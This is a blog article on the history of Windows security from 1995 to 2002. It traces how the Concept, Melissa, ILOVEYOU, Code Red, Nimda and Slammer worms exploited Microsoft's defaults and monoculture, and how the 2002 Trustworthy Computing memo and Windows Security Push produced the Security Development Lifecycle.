Parag Mali - tag: trustworthy-computing

Two Months Without Code: The Windows Security Wars Part 1 (1995-2001)

noreply@paragmali.com (Parag Mali) — Sat, 30 May 2026 00:00:00 GMT

Between 1995 and 2001, Microsoft shipped the most-used operating system on Earth into an Internet it was not architecturally prepared for. Concept, Melissa, ILOVEYOU, Code Red, Nimda, and Slammer demonstrated that reactive patching could not win the speed race with weaponized exploits. On Tuesday, January 15, 2002 at 5:22 PM Pacific, Bill Gates sent the roughly 1,500-word "Trustworthy computing" memo. On February 11, 2002, approximately 8,500 Windows engineers stopped writing features and spent about ten weeks and one hundred million dollars on threat modeling, banned-API review, fuzzing, and the first mandatory Final Security Review gate. The result was the Microsoft Security Development Lifecycle (SDL), and every secure-development framework the industry has standardized since (BSIMM, OWASP SAMM, ISO/IEC 27034, NIST SSDF, SLSA, CISA Secure by Design) traces back to it.

1. Two Months Without Code

On Monday, February 11, 2002, in Building 26 of Microsoft's Redmond campus, Brian Valentine -- Senior Vice President of the Windows Division -- told roughly 8,500 Windows engineers to stop writing features [@howard-lipner-push-2003] [@washtech-microsoft-100m] [@msft-news-valentine-mms-2002]. For the next ten weeks they would sit through mandatory secure-coding training, threat-model every component they owned, audit their code against a published banned-API list, and gate-review every change through a Final Security Review checkpoint that had not existed three weeks earlier [@howard-lipner-push-2003] [@lipner-acsac-2004]. The cost: about one hundred million dollars in foregone feature work [@washtech-microsoft-100m]. The order traced, precisely, to a 1,500-word email Bill Gates had sent twenty-seven days earlier at 5:22 PM Pacific [@gates-memo-wired] [@helpwithwindows-billg].

Stop and notice what that means. An operating-system vendor whose product ran on most business desktops on the planet ordered its largest engineering organization to stop shipping the product for two months. The lost revenue is the easy number. The hard number is the implicit admission: a company halts an engineering org of that size only when the cost of not halting is bigger.

What does a company have to lose before its CEO writes that order?

This article is the answer. It traces the seven-year run-up that made halting development the proportionate response, the memo that called the halt, the ten-week operation that followed, and the discipline that pattern became -- the discipline every secure-development framework on the industry shelf in 2026 traces back to.

It is also a quarrel with one sentence. The literal version of the article's working claim is this:

"Microsoft did not have a security team until January 15, 2002."

That sentence is wrong in exactly the way every popular retelling of this era is wrong. Microsoft did have a security team. It had the Microsoft Security Response Center (MSRC), founded in 1998 and reachable from MS98-001 onward [@msrc-org] [@howard-lipner-push-2003]. It had the Secure Windows Initiative (SWI), a small in-house secure-development team running since around 2000 under Michael Howard [@howard-lipner-push-2003]. It had STRIDE, a categorized threat list written internally on April 1, 1999 by Loren Kohnfelder and Praerit Garg [@shostack-tm-book]. It had Howard and David LeBlanc's Writing Secure Code, published by Microsoft Press in November 2001 and reportedly required reading for every Microsoft engineer [@howard-leblanc-wsc]. The methodology, the books, the team, and the published threat list were all in the building.

By section 5, this article earns a stronger -- and defensible -- version of the literal claim. Hold the literal sentence loosely; the corrected one is worth more.

The story turns on six names you will meet in sections 3 and 4: Concept (July 1995), Melissa (March 1999), ILOVEYOU (May 2000), Code Red (mid-July 2001), Nimda (September 2001), and SQL Slammer (January 2003) [@fsecure-concept] [@cert-ca-1999-04-melissa] [@cert-ca-2000-04-iloveyou] [@caida-codered] [@cert-ca-2001-26-nimda] [@caida-slammer]. Each name is also a generation of attack. Each generation broke an assumption the previous defenses had quietly depended on. By the end of 2001, the cumulative effect was a vendor whose customers no longer believed it could keep them safe.

That is what a company loses before its CEO halts development. How it got there takes seven years to tell. Begin at the architectural starting line.

2. Two Windowses, Two Security Stories

The first surprise of the era is structural. There were two Windowses, and only one of them had a security model at all.

The NT line -- Windows NT 3.1 in July 1993, NT 3.5, NT 4.0 in 1996, Windows 2000 in February 2000 -- was the work of David Cutler's team, hired by Microsoft in August 1988 with about twenty colleagues from Digital Equipment Corporation [@zachary-showstopper] [@msft-lifecycle-products]. Cutler had led the VMS operating-system project at DEC, and he carried VMS's engineering discipline into NT: a formal kernel/executive separation, an object manager that treated every kernel-allocated thing as a named object with a security descriptor attached, and a small kernel component called the Security Reference Monitor whose only job was to consult that descriptor on every access attempt [@russinovich-solomon-iw2k] [@msft-access-control].NT was patterned on VMS, not literally inherited from it. DEC threatened legal action against Microsoft over the engineering similarities and Cutler's role; the parties resolved the dispute through the 1995 DEC-Microsoft alliance, in which Microsoft paid roughly $105 million (including $75 million to bolster DEC's NT service-and-support operation) and committed to keeping Windows NT supported on DEC's Alpha processor [@techmonitor-dec-microsoft-alliance] [@zachary-showstopper].

The Win9x line -- Windows 95 in August 1995, Windows 98 in June 1998, Windows Me in September 2000 -- shared a name and a Start menu with NT and almost nothing else [@msft-lifecycle-products]. Underneath, Win9x was a 32-bit graphical shell wrapped around the 16-bit DOS kernel. It had no SIDs, no per-object access control lists, no kernel-mediated access check, no concept of process identity at all. Every process ran with effective access to every file on disk, every key in the registry, and every other process's address space [@russinovich-solomon-iw2k].

The kernel component of Windows NT (and every NT-line OS since: 2000, XP, Vista, 7, 8, 10, 11) that performs the access check on a securable object. When a thread asks to open a file, the I/O manager hands the request to the object manager, which calls the SRM. The SRM compares the access token attached to the thread (which carries the user's SID and the SIDs of every group the user belongs to) against the security descriptor on the object (which carries the DACL listing who is allowed which access rights). If the DACL grants the requested rights, the open succeeds; otherwise it fails with `STATUS_ACCESS_DENIED`. Every securable Windows kernel object carries a security descriptor with two access control lists. The **DACL** (Discretionary Access Control List) is an ordered list of ACEs (Access Control Entries) that grant or deny specific rights to specific principals. The **SACL** (System Access Control List) is the audit list; it tells the kernel which access attempts to log to the Security event log. The owner of an object can edit its DACL; only an administrator with the `SeSecurityPrivilege` right can edit its SACL. A variable-length binary identifier that names a principal -- a user, a group, a computer, a service. SIDs have a defined structure (revision, identifier authority, sub-authorities) and are unique within their authority. Windows uses SIDs internally because they are stable across renames and translatable across trust boundaries; human-readable names like `DOMAIN\jdoe` are convenience labels that get resolved to SIDs before any access check runs.

When a thread on NT asks to open a file, the path through the kernel looks like this:

flowchart TD A[User thread requests open] --> B[I/O Manager builds IRP] B --> C[Object Manager looks up named object] C --> D[Security Reference Monitor] D --> E[Compare access token SIDs against DACL ACEs] E --> F{"Granted rights ≥ desired access?"} F -->|Yes| G[Return handle with granted access mask] F -->|No| H[Return STATUS_ACCESS_DENIED]

That pipeline is what made NT, in principle, a hardened operating system from its first release in 1993. It is the same pipeline every NT-line Windows has executed for thirty-three years; Microsoft's current public reference still describes the same primitives [@msft-access-control].

So why was NT not, in practice, the hardened operating system the architecture promised?

The answer is the load-bearing observation of the era's first half: the primitives existed; the defaults rendered them inert. Through NT 3.1, NT 3.5, NT 4.0, and well into Windows 2000, the default DACL on huge swaths of the filesystem and registry was Everyone: Full Control. The Everyone SID matches every authenticated user and, depending on configuration, often the anonymous logon as well. A DACL that grants Everyone: Full Control is a permission check that always succeeds. Microsoft's documentation of the era is matter-of-fact about this: the defaults were preserved to maintain application-compatibility expectations carried over from the Win9x world, where applications had been written assuming no permission check at all [@russinovich-solomon-iw2k].

On a clean Windows NT 4.0 install, the per-directory ACL table that Microsoft Knowledge Base article Q148437 ("Default NTFS Permissions in Windows NT") preserved verbatim made the gap operationally concrete [@kb-q148437-wayback]. Two directories illustrate the pattern. **`%SystemRoot%\repair`** -- the destination of `rdisk /s`, where the SAM, SECURITY, SOFTWARE, SYSTEM, and DEFAULT registry hives get backed up -- shipped with **`Everyone: Full Control`** [@kb-q148437-wayback]. Any unprivileged interactive user could read or replace the SAM-hive backup. **`%SystemRoot%\system32`** -- the directory the LSA, user-mode subsystems, and print spooler load DLLs from -- shipped with **`Everyone: Change`** (RWXD), so an unprivileged user could write into the system DLL search path [@kb-q148437-wayback]. The same table records two more `Everyone: Full Control` directories in the default install: `%SystemRoot%\system32\spool\drivers\w32x86\1` (print drivers) and `%SystemRoot%\system32\wins` (the WINS service) [@kb-q148437-wayback]. Three of the era's most-exploited primitives -- SAM-hive theft, DLL hijack, print-spooler abuse -- mapped directly to defaults the OS shipped with. Windows 2000 tightened many of these; XP and Server 2003 tightened more; the cleanup was not nominally complete until Vista's UAC redesign in 2006. The architecture did not change. The defaults did.

The Win9x side has no such defense-of-the-defaults story to tell, because Win9x had no access check to default. On a Win98 box, the file c:\windows\system\kernel32.dll was simply a file. Any program could open it, read it, write it, or rename it. The phrase "least privilege" did not apply, because there was no privilege to constrain.

This is the architectural starting line of the era. Two Windowses, two stories, one shared problem: the strongest version had a security model that defaults defeated, and the weakest had no security model to defeat in the first place. Both, in the tens of millions, were about to be connected to a public Internet that did not yet exist when either had been designed.

What happens when you connect that pair of architectures to that network is the next two sections.

3. The Attack Class That Cracked Office (1995-2000)

Open with a small artifact. Sometime in mid-1995, copies of a Microsoft CD-ROM shipped to customers carrying, by accident, the first widely distributed Word macro virus. It was called Concept. Its only payload was a benign dialog and a comment in the macro source that read REM That's enough to prove my point [@fsecure-concept] [@virusencyclopedia-concept].

That was the joke. Then the rest of the industry stopped laughing.

A program that infects documents (rather than executables) by hijacking the document format's embedded scripting language. Word's WordBasic in 1995 and VBA in 1997 could read and write files, manipulate the host application, and -- critically -- run automatically on document open via `AutoOpen` and on document save via `FileSaveAs`. A macro virus is the same shape as a classical file-infector virus, except its host file is `.doc` instead of `.exe` and its execution surface is the application that opens the document, not the operating system that runs the binary. **VBScript** is a Microsoft scripting language, syntactically a subset of Visual Basic, designed for embedding in web pages (in Internet Explorer) and standalone scripts (run by WSH). **Windows Script Host** is the Windows component that executes scripts written in VBScript, JScript, or other registered languages, via the executables `wscript.exe` (windowed) and `cscript.exe` (console). WSH was first shipped with Windows 98 and was available as an optional add-on for NT 4.0 and Windows 95. It was on by default; a `.vbs` file double-clicked in Explorer ran in `wscript.exe` without further confirmation.

The era's three Office-style artifacts each carried a lesson the next one had to escalate past.

Concept (July 1995)

Concept was a WordBasic macro virus written for Microsoft Word 6.x. On document open it ran an AutoOpen macro that copied itself into Word's global template NORMAL.DOT. Every document Word saved from that point on inherited the infection, because every FileSaveAs operation now ran through the infected template's hook [@fsecure-concept].First-in-the-wild detection of Concept is canonically dated to July 1995, per the Microsoft Defender Threat Encyclopedia and the Virus Encyclopedia [@defender-concept-encyclopedia] [@virusencyclopedia-concept]. The "September 1995" date often cited in retellings refers to CIAC Notes 95-12, the bulletin, not the first detection [@ciac-i-023-macro].

Concept was cross-platform: it infected Word for Windows 6.x/7.x and Word for Macintosh 6.x, because WordBasic was portable [@fsecure-concept]. By the time it was named and tracked, copies had shipped on at least one Microsoft CD-ROM and on training materials from at least one other software vendor [@ciac-i-023-macro].

The lesson hidden in Concept is bigger than the virus. Any application that ships with a Turing-complete macro language, an auto-execute hook, and a write-enabled global template ships an execution surface. The user did not have to "run a program"; opening a document was running a program, because the document carried the program inside it. That was the first time the popular distinction between "data" and "executable" failed at consumer scale.

Melissa (March 26, 1999)

Four years later, that lesson met email.

CERT/CC's advisory CA-1999-04 records the moment: "At approximately 2:00 PM GMT-5 on Friday March 26 1999 we began receiving reports of a Microsoft Word 97 and Word 2000 macro virus" [@cert-ca-1999-04-melissa]. The virus was written in VBA (the successor to WordBasic that Office 97 introduced) by a New Jersey programmer named David L. Smith.

It carried the now-standard AutoOpen infection of NORMAL.DOT, but it added something Concept could not have done in 1995: it opened Microsoft Outlook through the MAPI interface, walked the first fifty entries of every address book it could read, and emailed the infected document to each one [@cert-ca-1999-04-melissa]. For good measure, it lowered Office's macro security settings on each infected machine, so the next infected document would run its macro without a prompt [@cert-ca-1999-04-melissa].

The propagation pattern is worth a diagram of its own:

sequenceDiagram participant U as User participant W as Word participant N as NORMAL.DOT participant O as Outlook MAPI participant R as 50 recipients U->>W: Open list.doc attachment W->>W: Fire AutoOpen macro W->>N: Infect NORMAL.DOT W->>O: Read first address book O-->>W: Return 50 entries W->>R: Send list.doc to each R->>U: Recipients open list.doc Note over W,N: Loop repeats per recipient

The math of the loop is uncomfortable. If each infected user has at least one populated fifty-entry address book and a non-trivial fraction of recipients open the attachment, the early growth is geometric in fan-out. No spam filter of the era could outrun it, because the senders were not spammers -- they were the recipient's actual colleagues, sending a document they had actually edited, from a real email address with a real return path. Address-book amplification by trusted senders is, by definition, a self-amplifying email feedback loop.

Melissa's payload was deliberately benign (it inserted a Simpsons quote into the open document on certain dates), but its propagation forced corporate email shutdowns at a long list of Fortune 500 sites within seventy-two hours [@cert-ca-1999-04-melissa].Contemporaneous trade press reported shutdowns at Lockheed Martin, Lucent, Microsoft, and others. The CERT advisory itself describes a "widespread attack affecting a variety of sites" without naming specific companies. Smith was arrested April 1, 1999.

The lesson the industry should have read off Melissa: a macro that can read the address book is not an Office decision; it is a platform decision. Office let macros call Outlook because the COM-automation model invited it; Outlook let other applications read the address book because that was the entire point of MAPI. The trust boundary the user thought was around their inbox was, in API terms, around every other application running as the same user.

ILOVEYOU (May 4-5, 2000)

Thirteen months later, the lesson generalized off the Office platform.

CERT/CC's advisory CA-2000-04 names the attachment: LOVE-LETTER-FOR-YOU.TXT.vbs, with a "Love Letter" subject line and a body asking the recipient to "kindly check the attached LOVELETTER" [@cert-ca-2000-04-iloveyou]. The .vbs extension matters. ILOVEYOU was not a Word macro virus.Popular retellings group Concept, Melissa, and ILOVEYOU as one continuous Office-macro story. They are not. ILOVEYOU was a VBScript / Windows Script Host email worm, executed by wscript.exe when the user double-clicked the attachment in Outlook [@cert-ca-2000-04-iloveyou]. The execution surface is WSH, not Office.

It was a VBScript file -- a script in plain text, executed by wscript.exe. Windows Explorer's default setting, "hide extensions for known file types," hid the .vbs suffix from the filename column. The user saw LOVE-LETTER-FOR-YOU.TXT, an apparently inert text file, and double-clicked it. Explorer handed the file to its registered handler, which was wscript.exe, which ran it.

Once running, the script copied itself into the Windows system directory, registered itself to run at every boot, overwrote files with selected extensions (.jpg, .mp3, .vbs), and -- like Melissa -- mailed itself to every address it could reach through Outlook. BBC News, datelined Thursday May 4, 2000 19:28 GMT, recorded the outbreak appearing first in Hong Kong, sweeping the US State Department, CIA, FBI, Pentagon, White House, and Congress, and the UK House of Commons, the Danish parliament, the Swiss federal government, and banks across Europe within hours, with reports pointing to a Philippine origin [@bbc-love-bug-2000-05-04] [@cert-ca-2000-04-iloveyou]. Trade-press damage estimates of "tens of millions" of infected machines and "billions of dollars" in cleanup were folk-knowledge of the era; the underlying classification as a VBScript / WSH email worm is what survives in the primary record [@cert-ca-2000-04-iloveyou].

The lesson ILOVEYOU should have forced: Windows Script Host was on by default, hidden extensions concealed the executable surface, and Outlook's auto-execute-attachments behavior treated .vbs like any other attachment. Three Microsoft platform decisions, each individually defensible, composed into a one-double-click remote code execution path on a freshly installed Windows 98 machine.

The three artifacts collapse into a single comparison table:

Year	Name	Execution surface	Propagation vector	On by default?	Primary lesson
July 1995	Concept [@fsecure-concept] [@virusencyclopedia-concept]	Word WordBasic macro	Infected document opened in Word	Yes (macro auto-exec)	A document is an executable when the application supports macros.
March 1999	Melissa [@cert-ca-1999-04-melissa]	Word VBA macro	Word + Outlook MAPI; 50 address-book entries per infected host	Yes (macro auto-exec, MAPI access)	A macro with address-book access creates a self-amplifying email storm by trusted senders.
May 2000	ILOVEYOU [@cert-ca-2000-04-iloveyou]	VBScript via Windows Script Host (`wscript.exe`)	Outlook attachment, double-extension hidden by Explorer default	Yes (WSH on by default, extensions hidden)	The "Office macro" attack class generalized to any double-clickable script the platform interpreted.

Document-as-execution-surface had a known fix shape from the moment Concept shipped: disable auto-execute, prompt the user, and -- eventually -- block by default. The block-by-default fix, for Office VBA macros downloaded from the internet, did not fully ship until February 2022, twenty-seven years after Concept [@ms-learn-internet-macros-blocked]. Section 9 walks the deprecation playbook that delay is evidence for.

But document execution is only half of the era's attack story. What happens when the execution surface is not a document the user opened, but a network port a worm reached without the user doing anything at all?

4. The Attack Class That Cracked the Server (2001-2003)

Two dates frame the whole story.

June 18, 2001: Microsoft publishes Security Bulletin MS01-033, "Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise." The bulletin patches an unchecked stack buffer in idq.dll, the Indexing Service ISAPI extension loaded by Internet Information Services (IIS) 4.0 and 5.0. A specially crafted HTTP GET to a URL ending in .ida can overflow the buffer and execute attacker-supplied code in the IIS worker process, which runs as LocalSystem [@ms01-033-idq].

July 19, 2001: thirty-one days later, the second-generation Code Red worm saturates roughly 359,000 IIS servers in under fourteen hours [@caida-codered] [@cert-ca-2001-19-codered]. The worm reaches its victims via a single HTTP GET. No user clicks. No email attachment. No double-click. A web server with port 80 open to the Internet and the unpatched idq.dll is, by definition, already listening for the attack.

A computing monoculture exists when a large population of independently administered hosts run identical software with identical defaults. The security significance is statistical: a single vulnerability discovered in the monoculture's shared software is, in expectation, exploitable against the entire population. The 2001-2003 Windows-server worms (Code Red, Nimda, Slammer) are the canonical case studies; CAIDA's Code Red measurement and Moore et al.'s Slammer measurement are the empirical anchors that made the monoculture argument quantitative rather than rhetorical [@caida-codered] [@caida-slammer].

What kind of defense survives a thirty-one-day patch-to-mass-exploitation window? The next seven months answer that question four different ways.

Code Red I (mid-July 2001)

A Northern California security boutique called eEye Digital Security discovered and reverse-engineered the worm. Marc Maiffret and Ryan Permeh named it "Code Red" after the Mountain Dew flavor they were drinking through the analysis [@eeye-codered-ii].Popular retellings sometimes date the discovery to July 13, 2001. The eEye back-reference in their August 4, 2001 Code Red II advisory points at advisory AL20010717 -- July 17, 2001 [@eeye-codered-ii]. "Mid-July 2001" or "July 17, 2001" is the better-attested date. The Mountain Dew naming detail comes from contemporaneous interviews with the eEye analysts, not the AL20010804 advisory itself.

The initial Code Red variant -- "Code Red v1" -- carried a fixed-seed random-number generator in its IP scanner. Because every infected host generated the same sequence of scan targets, the worm spent most of its scanning budget on the same small set of IP addresses, and its spread was bounded. It was annoying. It was not yet a measurement event.

That changed when somebody fixed the scanner.

Code Red v2 (July 19, 2001)

Code Red v2 was a rewritten worm using the same MS01-033 vulnerability but with a proper random scanner. The fix was tiny -- a different seed and a real entropy source -- and the consequences were huge. The CAIDA measurement, published by Moore, Shannon, and Brown in the Internet Measurement Workshop 2002, recorded the outbreak: "On July 19, 2001, more than 359,000 computers connected to the Internet were infected with the Code-Red (CRv2) worm in less than 14 hours" [@caida-codered] [@cert-ca-2001-19-codered]. The peak rate was over 2,000 newly infected hosts per minute.

The exploit path on each victim looked like this:

sequenceDiagram participant W as Worm host participant V as Victim IIS participant I as idq.dll participant S as LocalSystem shell W->>V: HTTP GET /default.ida + long URL V->>I: ISAPI dispatch to Indexing Service I->>I: Buffer overflow in URL parse I->>S: Shellcode runs in LocalSystem context S->>S: Patch idq.dll in memory, install worm body S->>W: Spawn 100 scanner threads Note over W,V: Each thread tries random IP:80, repeat

The lesson that should have been read off Code Red v2 was a property of the population, not of the worm. The vulnerable population was large (anyone running IIS 4.0 or 5.0 with default modules enabled and the MS01-033 patch not applied), identical (every IIS install shipped the same idq.dll), and reachable (TCP port 80 is by definition Internet-facing on a web server). That set of properties is the operational definition of a monoculture, and Code Red v2 was its first quantitative case study.

Code Red II (August 4, 2001)

Sixteen days after Code Red v2 saturated the IIS population, a different worm appeared with a confusing name. "Code Red II" reused the MS01-033 vulnerability and the same .ida injection vector, but the rest of it was unrelated to v1 or v2. eEye's August 4, 2001 analysis by Permeh and Maiffret documents the difference: where the earlier worms had a self-contained scanner-and-payload binary in memory, Code Red II dropped a copy of cmd.exe named root.exe into the IIS /scripts and /msadc directories, then dropped a trojanized explorer.exe that re-enabled the C: and D: drives as the IIS virtual roots /c and /d [@eeye-codered-ii].

The practical effect: any HTTP GET to /scripts/root.exe?/c+dir on a compromised host returned a directory listing of the victim's C:\ drive, executed in the LocalSystem context. A permanent, anonymous, remote shell, reachable by anyone who knew the URL [@eeye-codered-ii].

The lesson Code Red II adds: one worm's residual artifact is another worm's propagation vector. Patching MS01-033 closed the door that let Code Red II in. It did not close the doors Code Red II left open behind it. A web server infected by Code Red II before its operator patched MS01-033 still had root.exe waiting in /scripts, indefinitely. The patching mental model -- "apply the patch, the bug is fixed" -- mismodels the state.

Nimda (September 18, 2001)

Six weeks later, exactly that mismodeling was exploited.

The Nimda worm appeared on September 18, 2001, one week after the September 11 attacks, which the worm's name initially fed conspiracies about; "nimda" is "admin" backwards. The CERT/CC advisory CA-2001-26 records its four propagation vectors:

"(a) from client to client via email, (b) from client to client via open network shares, (c) from web server to client via browsing of compromised web sites, (d) from client to web server via active scanning for and exploitation of various Microsoft IIS 4.0 / 5.0 directory traversal vulnerabilities" [@cert-ca-2001-26-nimda].

Some retellings give Nimda "five" propagation vectors, conflating distinct sub-paths or counting the reuse of Code Red II's root.exe as a separate vector. CERT's canonical taxonomy, reproduced verbatim above, is four [@cert-ca-2001-26-nimda]. The fifth-vector phrasing in popular retellings is folk-knowledge.

The connected-graph structure matters. The patch for the IIS Unicode directory-traversal bug (MS00-078, originally posted October 17, 2000) had been available for eleven months [@ms00-078-iis-traversal]. The patch for the IE MIME-handling bug (MS01-020, originally posted March 29, 2001) had been available for nearly six months [@ms01-020-ie-mime]. The MS01-033 patch behind Code Red and Code Red II had been available for three months [@ms01-033-idq]. Microsoft shipped the cumulative remediation as MS01-044 [@cert-ca-2001-26-nimda]. Every individual hole had been a known, patched single-issue vulnerability. Nimda took the graph of those holes and walked it.

The lesson is structural. Response treats vulnerabilities as point fixes. Nimda's empirical evidence was that, in a sufficiently large monoculture, the unpatched subsets of multiple vulnerabilities had become connected. Patching is a per-host, per-vulnerability operation; the attacker's view is the union over all hosts of the union over all unpatched vulnerabilities. The latter is a much larger surface.

SQL Slammer (January 25, 2003, 05:30 UTC)

Sixteen months after Nimda, the era's capstone arrived in the form of a 376-byte UDP datagram.

Slammer (also called Sapphire) exploited a buffer overflow in the SQL Server Resolution Service that Microsoft had patched in MS02-039, six months earlier. The payload was small enough to fit in a single UDP packet, and the protocol it targeted (UDP port 1434) was connectionless, so each scan was one packet, sent at line rate. The CAIDA measurement -- Moore, Paxson, Savage, Shannon, Staniford and Weaver, IEEE Security & Privacy 2003 -- is the primary record:

"Sapphire began to infect hosts slightly before 05:30 UTC on Saturday, January 25 (2003). [...] doubled in size every 8.5 seconds. [...] infected more than 90 percent of vulnerable hosts within 10 minutes [...] at least 75,000 hosts, perhaps considerably more [...] over 55 million scans per second." [@caida-slammer]

Popular retellings often round Slammer's reach to "75% of vulnerable SQL servers." The CAIDA primary measurement is ~75,000 hosts as the lower bound, and "more than 90 percent of vulnerable hosts within 10 minutes" as the saturation percentage [@caida-slammer]. The two figures are not the same.

The 8.5-second doubling time is the load-bearing number. Worm spread under random-constant-spread (RCS) scanning follows a logistic curve: exponential at the start, saturating as the worm runs out of vulnerable targets. The differential equation is well behaved and was modeled in detail by Stuart Staniford, Vern Paxson, and Nicholas Weaver at USENIX Security 2002, in a paper that predicted (six months before Slammer) that worms with sufficiently high scan rates would saturate the global vulnerable population in minutes, not hours [@staniford-paxson-weaver-2002].

Plug the parameters in and watch it happen:

{` // SI-style worm spread under random constant scanning. // dN/dt = K * N * (1 - N/V) // Where: // N(t) = infected population at time t (seconds) // V = total vulnerable population // K = effective contact rate per infected host per second // = (scans per second per host) * (V / address-space size) // // Slammer defaults (CAIDA Moore et al. 2003): // ~75,000 vulnerable MSSQL hosts (lower bound) // ~26,000 packets/sec sent from a typical infected host before bandwidth saturation // IPv4 routable space ~ 2^32 addresses, of which ~2^31 reachable // // Result: doubling time ~8.5 s, ~90% saturation in ~10 min.

The simulator says what CAIDA measured: saturation, regardless of where the human patch process starts from, in roughly ten minutes. Read that twice. There is no version of "patch faster" that wins this race. The race ends before a human operator can log in, open the bulletin, download the binary, and apply it. Even if every operator on the planet had been at their console with the patch staged and ready, they could not have outrun an 8.5-second doubling.

The logistic equation $dN/dt = KN(1 - N/V)$ has closed-form solution $N(t) = V / (1 + (V/N_0 - 1) e^{-Kt})$. The doubling time near the start (when $N \ll V$) is $\tau = \ln(2)/K$. For Slammer's measured doubling time of 8.5 seconds, $K = \ln(2)/8.5 \approx 0.0815$ per second. The time to reach 90% of $V$ from a seed of $N_0 = 1$ is $t_{90} = (1/K) \ln((V - N_0)/(N_0 \cdot V/(0.9V) - N_0)) \approx (1/K) \ln(0.9V/0.1) \approx (1/0.0815) \ln(9V)$. For $V = 75{,}000$, $t_{90} \approx 12.3 \cdot \ln(675{,}000) \approx 165$ seconds, plus the time spent in the slow start-up phase from $N_0=1$ to a few hundred infections. The empirical 10-minute figure includes both phases. The structural result is parameter-insensitive: any worm with a per-host scan rate that produces a sub-minute doubling will saturate before any human operator can intervene.

If the attacker's loop (find bug, weaponize, propagate) is now structurally faster than the defender's loop (find bug, ship patch, customer installs), then "patch faster" stops being the answer and a different answer becomes necessary. The only durable defense against a sub-minute doubling time is to ship fewer vulnerabilities to begin with. That requires changes upstream of the patch pipeline -- in how code is written, reviewed, tested, and signed off.

Which is what the advisory version of secure development had been preaching since 1975.

So why was Microsoft still shipping idq.dll-class bugs in 2001?

5. What Microsoft Already Had (and Why It Wasn't Enough)

This is the section that confronts the literal thesis head-on. Take an inventory of what existed, in Microsoft and outside it, on January 1, 2002:

Microsoft Security Response Center (MSRC). Founded in 1998 to coordinate vulnerability disclosure and ship security bulletins (the numbered series MS98-001 onward) [@msrc-org] [@howard-lipner-push-2003]. The org chart was real; so was the bulletin pipeline; so was the working relationship with CERT/CC and external researchers.
Secure Windows Initiative (SWI). Started around 2000 as a small in-house secure-development team, led by Michael Howard inside the Windows division [@howard-lipner-push-2003].
STRIDE. A categorical list of threat types (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege), written by Loren Kohnfelder and Praerit Garg in an internal Microsoft memo dated April 1, 1999, titled "The Threats to Our Products." The memo is no longer hosted on Microsoft's own site, but it has been publicly preserved at Adam Shostack's archive [@shostack-stride-memo-archive], with an independent mirror at FIRST [@first-stride-memo-mirror]; Shostack's 2014 book remains the authoritative chain-of-custody analysis [@shostack-tm-book].
A Microsoft-authored secure-coding book. Michael Howard and David LeBlanc's Writing Secure Code, Microsoft Press, first edition November 2001 -- two months before the memo. Bill Gates is widely reported to have required Microsoft engineers to read it; the book itself documents the banned-API list, threat-modeling templates, and STRIDE walkthroughs that the Push later mandated [@howard-leblanc-wsc].

Outside Microsoft, the substrate was older still:

Saltzer and Schroeder. Jerome Saltzer and Michael Schroeder, "The Protection of Information in Computer Systems," Proceedings of the IEEE 63(9), September 1975. Eight design principles -- economy of mechanism, fail-safe defaults, complete mediation, open design, separation of privilege, least privilege, least common mechanism, psychological acceptability -- still the textbook starting point [@saltzer-schroeder-1975].
The Orange Book. DoD Trusted Computer System Evaluation Criteria (DoD 5200.28-STD), 1983 and reissued 1985. Graded assurance levels D, C1, C2, B1, B2, B3, A1. The pre-existing vocabulary of "trusted computing" that the Gates memo deliberately echoed and broadened to "trustworthy" [@tcsec-orange-book].
OpenBSD audit culture. Theo de Raadt's OpenBSD project, since the summer of 1996, with a permanent audit team that the project's own page describes verbatim: "Our security auditing team typically has between six and twelve members who continue to search for and fix new security holes. We have been auditing since the summer of 1996" [@openbsd-security].
Attack trees. Bruce Schneier, "Attack Trees," Dr. Dobb's Journal, December 1999. A formal methodology for describing system security as goal-rooted decision trees with AND/OR composition and per-leaf cost annotations [@schneier-attack-trees-1999].
CERT/CC. Carnegie Mellon's Computer Emergency Response Team, founded November 1988 in response to the Morris worm. Author of the CA-1999-04 / CA-2001-19 / CA-2001-26 / CA-2000-04 advisories that frame the previous two sections [@cert-ca-1999-04-melissa] [@cert-ca-2001-19-codered] [@cert-ca-2001-26-nimda] [@cert-ca-2000-04-iloveyou].

Lay those rows out as a table and look at the right-most column:

Discipline component	Who had it	When	Release-blocking authority?
Foundational principles	Saltzer and Schroeder [@saltzer-schroeder-1975]	1975	No (academic publication)
Graded assurance criteria	DoD Orange Book [@tcsec-orange-book]	1985	No (procurement criterion only)
Response coordination	CERT/CC [@cert-ca-1999-04-melissa]	1988	No (external coordinator)
Audit-driven engineering	OpenBSD [@openbsd-security]	1996	Yes -- within OpenBSD only
Vendor response center	MSRC [@msrc-org] [@howard-lipner-push-2003]	1998	No (post-release)
Internal threat categorization	Kohnfelder and Garg STRIDE memo [@shostack-tm-book] [@shostack-stride-memo-archive]	April 1999	No (advisory)
External threat-modeling methodology	Schneier attack trees [@schneier-attack-trees-1999]	December 1999	No (publication)
In-house secure-development team	SWI (Howard) [@howard-lipner-push-2003]	~2000	No (advisory)
Secure-coding book	Howard and LeBlanc [@howard-leblanc-wsc]	November 2001	No (recommendation)

The load-bearing column is the last one. Every row except OpenBSD-within-OpenBSD reads No, and OpenBSD's "Yes" is a special case -- the auditors and the engineers were the same self-selected community on a small homogeneous codebase shipped without a revenue obligation.

That column is the article's first aha moment.

Key idea: Microsoft was not the first to articulate secure-systems-design principles (Saltzer and Schroeder, 1975). It was not the first to do audit-driven engineering (OpenBSD, 1996). It was not the first to popularize threat modeling externally (Schneier, December 1999), have an internal threat-categorization framework (Kohnfelder and Garg, April 1999), or run a security-response organization (CERT/CC since 1988; MSRC since 1998). What Microsoft was first to do, on January 15, 2002 and operationalized on February 11, 2002, was apply release-blocking executive authority across an entire dominant-platform vendor to make secure development a non-negotiable engineering gate.

The corrected sentence is harder to fit on a magazine cover. It is also defensible.

OpenBSD shipped audit-driven engineering culture six years before the Windows Security Push, with the slogan its security page has carried for two decades: Only two remote holes in the default install, in a heck of a long time! -- OpenBSD Project, security page [@openbsd-security]

OpenBSD's model worked for a small homogeneous codebase with self-selected auditors and a permissive-license, no-revenue context. The SDL's model was built for a fifty-thousand-person, hundred-million-line, quarterly-revenue context. They are parallel paths, not competitors. The era's lesson is that both were necessary discoveries; neither alone would have served the other's population.

